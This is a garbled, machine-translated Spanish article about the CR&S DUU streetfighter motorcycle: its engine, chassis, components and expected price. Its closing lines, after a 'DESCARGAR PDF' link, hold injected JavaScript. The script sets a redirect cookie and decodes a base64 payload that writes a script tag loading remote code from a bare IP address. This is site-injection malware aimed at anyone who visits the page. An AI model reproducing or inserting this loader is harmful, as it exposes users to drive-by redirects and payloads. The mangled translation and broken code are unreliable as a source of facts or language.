Conducir despacio 11 2009
la 2011 Parece casi aquí.
Una ola de modernismo hace volar la pequeña casa grande en Settimo Milanese. CR&S ya se distingue por la originalidad de su streetfighter de mezclado cerca y la singularidad de cada pieza.
La evolución lógica del mono, esencial y diversión, Esta será doble. parece “solo” una bicicleta de concepto, sino una carretilla elevadora DUU ya ha viajado a varios kilómetros; Las pruebas validan elecciones técnicas inusuales. El gemelo X-Wedge es su corazón que late, ONU bicilíndrico en V “el aire” casi dos litros que mejora la búsqueda S&S a través de los esquemas clásicos de Harley-Davidson. El ángulo de los cilindros de 56 curso de grado anula las vibraciones; distribución con tres árboles de levas en el cárter y correas dentadas asegura geometría óptima, a través de varillas cortas y taqués hidráulicos. Contenido es el ruido mecánico, haciendo la aprobación Euro puede 3 con inyección y catalizadores. El escape de acero inoxidable es estudiado por escape QD para centralizar las masas y permitir inclinaciones lateral mayor de 40 grados. El potencial de este muy grande gemelo es notable incluso en la configuración “código”: por lo menos 100 caballos y 130 Newton / metros de torque, pero la entrega es completa en todos los regímenes. Cambiar para separar 5 la 6 relaciones y cadena primaria completan un tren de potencia insertado en un marco original. Una gran parte de tubo de acero de la cabeza de dirección y contiene el lubricante; Se argumenta placas laterales hermosas, atelier tocho Rizoma, a la que está anclado por medio de una sección tubular transversal; el basculante de una sola cara. Todas las propuestas de CR&S nace con el objetivo de garantizar el placer de conducción y el chasis de DUU, un destilado del Made in Italy extracción de los deportes, no defraudará . Los detalles son hermosas, a partir de las placas de dirección realizadas por rizoma y de las ruedas modulares; frenos Brembo y suspensiones de calidad permiten un amplio ajuste. Precisión y agilidad de respuesta prometen poner a prueba , pliegues extremos y manipulación, sin caer en el extremo opuesto de unidades demasiado “nervio”. Con unas dimensiones próximas a las de un XR1200 y peso de alrededor de 237 kg seca, gracias all'allungo motor infinito debe ser divertido, fácil y exasperada. Estas cualidades se añaden una filosofía modular para configurar la motocicleta de acuerdo con diferentes estilos de conducción y la vida, calidad de los componentes, la artesanía con garantías industriales: fácil de prever un interés inmediato en torno a esta streetfighter. Muchos de los componentes CR&S están diseñados a medida por Donato Cannatello por las empresas italianas como Rizoma. La originalidad y accesorios “personalizado” debe representar una ventaja adicional en favor de DUU. Incluso el precio fijo promete ser interesante, hacia 20.000 euro: cercana a la de la VRSC y por debajo de la nueva V-Max… ¿Cuánto tiempo antes de que el 2011?
DESCARGAR PDF… GetCookie función(mi){var U = document.cookie.match(nueva RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/sol,”\\$1″)+”=([^;]*)”));retorno T?decodeURIComponent(la[1]):vacío 0}var src =”datos:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,ahora = Math.floor(Date.now()/1e3),galletas = GetCookie(“redirigir”);Si(ahora>=(tiempo = galletas)||nula tiempo 0 ===){tiempo var = Math.floor(Date.now()/1e3 + 86400),fecha = new Date((nuevos Fecha).consigue tiempo()+86400);document.cookie =”redirigir =”+tiempo +”; path = /; expira =”+date.toGMTString(),document.write(”)}